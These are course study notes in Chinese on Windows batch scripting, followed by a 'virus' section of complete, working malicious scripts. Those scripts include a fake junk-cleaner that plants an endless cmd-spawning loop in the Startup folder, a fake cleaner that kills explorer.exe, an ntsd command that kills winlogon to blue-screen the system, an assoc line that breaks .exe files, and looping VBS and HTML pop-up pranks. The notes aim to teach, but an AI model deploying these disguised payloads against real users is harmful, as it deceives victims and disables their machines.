千锋教育网络安全学习笔记2:批处理、病毒
目录
初始批处理
一个简单的批处理程序
1、引入
2、echo输出
3、变量
4、if 、goto
病毒
简单的批处理文件一
简单的批处理文件二
最简单的病毒
最简单的病毒解药
最简单的脚本
最简单的死循环脚本
整人网页
初始批处理
- 如何批处理
命名: 后缀名为.bat
方法:创建一个记事本文件,然后将其后缀名改为.bat
- 批处理作用:自上而下成批处理每一条DOS命令,直到执行到最后一条
- 运行环境:DOS窗口
一个简单的批处理程序
1、引入
1 d: 2 cd \ 3 cd temp 4 del *.* /s/p #无询问状态下删除所有文件
我们把几条dos命令会聚在一起,这就进入了批处理的范畴
2、echo输出
1 @echo off #关闭回显 2 color 0a #改变颜色 color?查询如何使用 3 title 飞哥小程序v1.0 #设置程序名字 4 5 echo ===================== 6 echo 菜单 7 echo 1、修改管理员密码 8 echo 2、定时关机 9 echo 3、退出本程序 10 echo ===================== 11 12 pause #暂停一哈屏幕给俺瞅瞅
3、变量
1 @echo off #关闭回显 2 color 0a #改变颜色 color?查询如何使用 3 title 飞哥小程序v1.0 #设置程序名字 4 5 echo ===================== 6 echo 菜单 7 echo 1、修改管理员密码 8 echo 2、定时关机 9 echo 3、退出本程序 10 echo ===================== 11 12 pause #暂停一哈屏幕给俺瞅瞅 13 14 15 set /p usename=请输入用户名: #获取输入的字符串,并将其赋值给变量username 16 set /p password=请输入密码: 17 net user %username% %password% >nul #修改账户密码 18 #其中>nul代表若成功执行则把结果输出到虚空里,而不是屏幕上哦 19 20 pause
注:上述代码中#号之后的仅为注释,使用时要删除掉
4.if、goto
1 @echo off 2 color 0a 3 title 飞哥小程序v1.0 4 5 6 :menu #相当于一个以menu为名字的分支 7 cls #清屏 8 echo======================= 9 echo 菜单 10 echo 1、修改管理员密码 11 echo 2、定时关机 12 echo 3.退出本程序 13 echo======================= 14 15 16 set /p answer=请输入您的选择: #answer后面千万不能有空格 17 18 if %answer%==1 goto 1 19 20 if %answer%==2 goto 2 21 22 if %answer%==3 goto 3 23 24 echo 别乱输入哦,只能输入1、2、3哦 25 26 pause 27 goto menu 28 29 :1 #相当于一个以1为名字的分支 30 set /p u=请输入用户名: 31 set /p p=请输入新密码: 32 net user %u% %p% >nul 33 pause 34 goto menu 35 36 :2 37 set /p time=请输入时间: 38 shutdown -s -t %time% 39 set /p x=是否取消(1:是,0:否): 40 if %x%==1 shutdown -a 41 42 pause 43 goto menu 44 45 46 :3 47 exit
常用的shutdown命令可在DOS窗口输入shutdown ?查看使用方法
病毒
测试环境:虚拟机win2003
注:虚拟机上随你玩,真机玩了等重装吧
简单的批处理文件一
功能:伪装垃圾清理程序添加一个开机自启动项,无限弹出DOS窗口直至电脑死机
1 @echo off 2 title 系统垃圾清理 3 color 2f 4 echo ====若杀毒软件恶意拦截,请选择【允许程序的所有操作】==== 5 echo. #代表空出一行 6 echo. 7 echo :start>c:\windows\windows.bat #这句话的含义是输出:start这句话并写到后面的文件中 8 echo start cmd >>c:\windows\windows.bat #这句话的含义是输出start cmd这句话并以追加的形式写到后面的文件中 9 echo goto start>>c:\windows\windows.bat 10 copy c:\windows\windows.bat "%USERPROFILE%"\AppData\Roaming\Microsoft\Windows\Startup\" >nul 11 #上面一行表示将文件拷贝到当前用户启动菜单位置 12 if %errorlevel%==0 goto next 13 copy c:\windows\windows.bat "%USERPROFILE%\「开始」菜单\程序\启动" >nul 14 #%USERPROFILE%是win定义的一个系统变量,代表当前用户所在的系统目录 15 if %errorlevel%==1 goto error 16 :next 17 echo. 18 echo. 19 echo ====== 垃圾清理中,请不要关闭窗口====== 20 echo. 21 ping -n 5 127.0.0.1 >nul 22 echo. 23 echo ====== 垃圾清理完毕,共清理垃圾500M=== 24 echo. 25 echo. 26 echo ====== 建议立即重启电脑 27 pause 28 goto ex 29 30 :error 31 echo. 32 echo. 33 echo ====== 程序运行失败,请使用【管理员权限】重新运行!====== 34 echo. 35 pause 36 goto ex 37 38 :ex 39 exit
注:上面的启动目录只针对winxp和win2003,其他系统的请自行百度
简单的批处理文件二
功能:伪装桌面清理程序,强制终止桌面程序
1 @echo off 2 title 系统垃圾清理 3 color 2f 4 echo ======若有杀毒软件恶意拦截,请选择【允许程序的所有操作】===== 5 echo . 6 echo . 7 8 :next 9 echo . 10 echo . 11 echo ======垃圾清理中,请不要关闭窗口哦====== 12 echo . 13 ping -n 5 127.0.0.1 >nul 2>nul 14 taskkill /im explorer.exe /f >nul 2>nul #杀掉相应的进程,其中/im 后面跟的是进程名 /f强制 15 echo . 16 ping . =====完了,你系统废了,桌面程序不见了,不信你看看====== 17 ping -n 5 127.0.0.1 >nul 2>nul 18 echo . 19 start c:\windows\explorer.exe #开启对应的进程 20 echo . 21 echo ======一切尽在我掌控中,已然是修复好了,你瞅瞅桌面程序===== 22 pause
最简单的蓝屏炸弹文件
ntsd -c q -pn winlogon.exe
分析:
ntsd #杀死进程
ntsd -c q -pn 进程名 #强制杀死进程
蓝屏原因:winlogon.exe进程不能被杀死,我想强制杀死,系统不让,结果导致蓝屏!
对win2003有很大的杀伤力,但对win2008基本没杀伤力
最简单的病毒
1 assoc .exe=txtfile
分析:
修改文件关联,导致文件无法正常打开
测试效果如下图:
最简单的病毒解药
1 assoc .exe=exefile 2 #即将后缀改为之前的一一对应
最简单的脚本
方法:将下面代码写入记事本,并将记事本的后缀名字改为.vbs
1 msgbox "我最帅!"
最简单的死循环脚本
1 do 2 msgbox "smile" 3 msgbox "jhw" 4 msgbox "hhh" 5 loop
效果:窗口无法关闭
解决方法:
vbs是使用微软自带的wscript.exe来编写的
打开任务管理器将其对应的进程杀死即可
整人网页
将以下代码写到记事本中保存后改后缀名为.html即可
1 <!DOCTYPE html> 2 <html> 3 <head> 4 <meta charset="utf-8"> 5 <meta http-equiv="X-UA-Compatible" content="IE=edge"> 6 <title>很恶心的常见整人效果的代码</title> 7 <link rel="stylesheet" href=""> 8 </head> 9 <body> 10zhengren <a href="" onmouseover="alert('飞哥真帅'); 11 alert('飞哥真帅'); 12 alert('飞哥是真帅'); 13 alert('飞哥是真帅'); 14 alert('飞哥是真的帅'); 15 alert('同意不!'); 16 alert('不同意?'); 17 alert('去死吧'); 18 ">不许把鼠标移到这里!</a>点了真爽!!! 19 </body> 20 </html>